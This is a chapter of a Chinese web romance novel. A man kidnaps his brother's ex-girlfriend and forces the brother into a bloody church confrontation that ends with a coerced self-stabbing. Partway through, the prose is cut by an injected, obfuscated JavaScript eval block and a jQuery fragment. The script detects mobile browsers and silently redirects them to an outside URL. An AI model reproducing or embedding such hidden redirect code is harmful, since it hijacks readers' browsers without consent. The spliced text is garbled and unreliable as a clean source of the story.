165.一个人来

作品:《不可食用景观[久别重逢]

    照片上,罗序身边站着个温柔娴静的女孩儿。两人一起抬头,眼里都倒映着橙红色的焰火。


    姜梨深深望着许久不见的罗序,他瘦了,面部骨骼更加突出,头发长长了一点点。


    这人,总是严肃而克制。头发长一点就要剃掉,只因为她说喜欢三毫米卡尺毛茸茸的手感。


    快速从一瞬的失神中抽离,姜梨移开目光,低声道,“我们已经分手。我做这些都与他无关。不要在我面前提起他,也不要把我的生活告诉他。”


    她推开蒋清南,迈步上楼梯。嘭的一声,卧室门关上。


    蒋清南压抑着即将冲破胸膛的无奈与失望,转身进了一楼客卧。


    收到房屋买卖合同时,姜梨还没睡着。


    虽然是深夜,索性起来给苏景熙发了消息。


    “一切交由律师办理,我相信你。”


    然后躺回床上,眼睛直愣愣地望着天花板,脑子里都是罗序和那女孩儿的样子。


    虽然他没笑,但看不出厌恶。


    能在这样的时候一起外出,说明两人关系很稳定。


    不论是商业联姻还是出于真心,姜梨都不能说服自己看开。她只是一遍一遍回忆,回忆她和罗序的过去,然后再郑重地提醒自己:够了,姜梨,可以了,该放手了。


    再强迫自己闭上眼睛。


    姜梨的单身公寓里,还弥漫着淡淡的玫瑰花香味。


    罗序踟蹰在客厅,恍然间像回到北城。那时姜梨也一气之下离开。


    他扯扯嘴角,小丫头,总骗他。每次都不告而别。


    助理把购房合同和□□一并交到他手里,就退了出去。


    从现在开始,这间房子属于罗序,只属于他。


    虽然离开时,随身物品都已清空,但目及所至,罗序却能自动脑补出窗台上缺少的晾衣架、沙发背上没了运动内衣、门口少了七扭八歪的鞋子……


    已经降级为安保部员工的小闵急匆匆上楼,连敲门都来不及。


    “沈时和常硕……有消息了。”


    罗序静静地听完汇报,眉头紧锁。


    “把手底下的人拢一拢,别声张,三天之后走,悄悄的,谁也不能透露。”


    他一再叮嘱,小闵自然知道重要性,连连点头退了出去。


    罗序最后望一眼小屋,忍不住走到吧台边,玻璃碗里还放着一盒打开的紧急避孕药。


    他突然觉得喉咙梗得难受,眼底酸胀得看不清东西。


    银色锡箔纸发出的脆响格外刺耳。


    他忿忿地丢下,转身要走,地毯下咯吱一声。


    有东西碎了!


    一颗碎成渣的药丸惨白得刺眼。


    从仅有的残骸判断,就是药盒里缺少的那一颗。


    罗序呼吸一滞,偌大的房间里仿佛突然多了个人。


    是姜梨。


    她飘在幽幽雾光中,依旧悲悯而固执的望着他。


    “姜姜,我……对不起。”


    他不知道还能说什么。


    此刻,他甚至清晰地知道面前的一切都是幻觉,姜梨早已飞走,可他还沉迷在嫉妒、自责中。


    是他错怪了姜梨。


    就算姜梨去见蒋清南,就算送他和那男人一样的领带,就算狠不下心和蒋清南老死不相往来……那又怎那样,他就是舍不得她。


    捏着药渣的手不住地抖。


    他把拳头狠狠压在地上,再抬头,一切如常。


    那位疑似常硕的华人员工彻底失联,面包店老板表示很抱歉,姜梨也不能说什么。


    她只好安慰自己,能找到一次,就有第二次。


    抱着仅存的希望,穿过圣马可教堂前的广场,往公寓方向走去,恍然不知,身后有一道人影悄悄跟上……


    金碧辉煌的教堂内,管风琴悠扬地绕过穹顶,穿过五彩琉璃窗子,响彻在宁静的城市上空。


    罗序只身前来,一排排座椅正前方,立着一道消瘦的身影。


    明媚的阳光映照着惨淡的笑容,仿佛刚从地狱归来。


    “哥,你真敢一个人来。”


    罗序逆光看向沈时,余光扫视一圈,确定没有其他人,说,“把姜姜放了,我们兄弟间的事,别牵扯她。”


    沈时眉头一皱,突然委屈起来。


    若不是奔三十的年纪,他的样子更像因为被大哥冤枉而伤心。


    “怎么不是因为她。要是没有她,我们也就打打闹闹,何至于到今天这般地步。你不就是对我俩的婚约耿耿于怀,才不肯原谅爷爷吗?”


    沈时从阳光中走出,脸色霎时灰暗下来。


    “罪魁祸首就是她!”


    罗序不着痕迹的打量着教堂淡绿色的洋葱顶。


    威斯尼教堂众多,这座因为规模较小,逐渐闲置,许久不开放了。


    一楼只有他们两个,二楼唯一的房门关着,罗序的目光停留好久。


    “放心,只要你来,我不会伤害她。这一点我说到做到。”


    “跟我回去。”罗序看向沈时,不急不躁,仿佛并不是为解救姜梨,“你失踪姜朵已经报警,跟我回去销案。”


    沈时嗤笑。


    “本以为能关你几个月,没想到连四十八小时都不到就放了。”


    他没有丝毫忏悔,取而代之的都是未能如愿的遗憾和不甘。


    那晚,他故意把罗序引到江边,留下脚印。可没想到,姜梨居然用整整一晚的详细证词轻而易举的将精心策划的一切都推翻。


    “不过,我有一点说对了。她心软,稍微装装可怜,就能接近。而且,她对蒋清南不一般,这一点也是你不想看到的吧。”


    “把我叫过来就说这些?痛快点儿。”


    对于罗序回避姜梨,沈时并不意外,反而挑衅道,“把建工集团还给我,我就放了她。”


    “给你之后,建工集团还能存在吗?沈时,你现在做的一切都是铤而走险。现在跟我回去,从长计议。”


    “跟你回去?罗序,你别装了。就是你联合对家把我辛辛苦苦做起来的时代科技搞垮。就是你抢走原本属于我的姜梨。就是你。没有你一切都不会发生。”


    沈时目露凶狠,每走一步都用尽力气,仿佛脚下就是罗序。他要把对方踩在脚下,永世不得翻身。


    “姜姜从来都不是任何人的。你放了她,她要去米兰留学,我们的事别牵扯她……”


    话没说完,他侧身躲过带着风的拳头,后撤一步攥住对方手腕儿。


    “你觉得可能吗?”沈时嘲讽着,撤回拳头再次挥向罗序。


    “你知道吗罗序,其实最该死的不是别人,是你。我喜欢她没有错。你不出现,姜梨心里只会有我。所以,归根结底是你。”


    沈时把罗序压进墙角,一拳一拳抡下去。


    罗序双手护着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366209|187902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面门,身子一缩,一脚把对方踹飞,拇指擦擦染血的嘴角,骑上沈时压着打。


    处于劣势的一方仍不求饶。


    “罗序,你就不应该被生出来……”


    重重一拳打在眉骨上,沈时半张脸都是血,染红了一只眼睛。


    两个人都不记得这次见面的初衷是沈时用姜梨要挟罗序面谈。


    他们再次回到从前每次见面时一样,打个不停。


    只是今天,仿佛没人能走出这里。


    沈时不抗打,已经放弃抵抗,胳膊虚虚的挡在脸上,像条快死的鱼。


    “姜姜在哪儿?沈时,你交出姜姜,我饶你一命……”


    沈时像是突然醒了,眼神虚空地对着天花板,食指放在唇边,嘘了一声。“你听,在这儿。”


    这诡异的动作令罗序心头一沉。


    紧接着,教堂回荡出女孩儿的求饶和喘息声。


    沈时脸上爬满狰狞放肆的笑。


    “放开我……你放开我,放手……”


    是姜梨。


    急促的呼吸可以听出女孩儿有多害怕。


    “放了她!”


    罗序拎起软塌塌的沈时咆哮着,“把姜姜放了,你要什么我都给你。”


    他再也不能强装镇定,故意漠不关心。


    本以为刻意的疏远对姜梨是最好的保护,可他突然意识到面前的人是个疯子。


    女孩儿激烈的反抗让本就猩红的眼睛闪现一抹兴奋。


    “我放了她?罗序,是谁不放过她?是谁走了十五年又再次出现,是谁从北城追到上江,现在又追到这里?”


    哭嚎与哀求撕裂喉咙,女孩儿声音开始嘶哑无力,仿佛马上就要窒息。


    “你要我做什么,你要什么就说!”


    罗序再次摇晃任由摆布的沈时。


    此刻,沈时什么都不做,就掌握了主动权。


    这是他第一次在罗序面前掌控局势。他很享受。


    而罗序的逼问过于急切,打扰了他。


    于是沈时再次不耐烦地嘘了声,指指穹顶,说,“你听。”


    “你杀了我!求你,杀了我!”


    女孩儿惨烈而卑微的求饶再次萦绕。


    罗序目眦欲裂的瞪着沈时。


    一直瘫在地上的人仿佛瞬间有了力气。


    他推开罗序站起来,拍拍身上,只激起一层土和刺痛。但沈时还是咧嘴笑着。


    “她要死,你也死吧。”


    他的声音仿佛从窗外飘来,当啷一声,一柄匕首扔到地上。


    精致小巧,本应该是橱窗中的展品,可此时把手上却沾了血。


    罗序颤巍巍的捡起匕首,望了望二楼的小门。


    “我死了你就放了她。”


    沈时没有回答,反而指了指他胸口,“你第一次打我就是这儿,所以……记住了?”


    沾了血的指尖混着灰尘在胸膛虚无的圈了圈。


    沈时舌尖抵着已经破口的腮帮子,眼底跳跃着畸形的亢奋。


    “你放了她。”


    罗序再次求证,仿佛只要沈时点头,他就毫不犹豫去做。


    没想到这个时候罗序还能如此淡定。


    沈时看着和自己有三分相似的眉眼,肩膀一颤,轻蔑一笑。


    女孩儿的哭声越来越微弱,像进入生命最后的倒计时……而匕首毫不犹豫地刺入胸膛。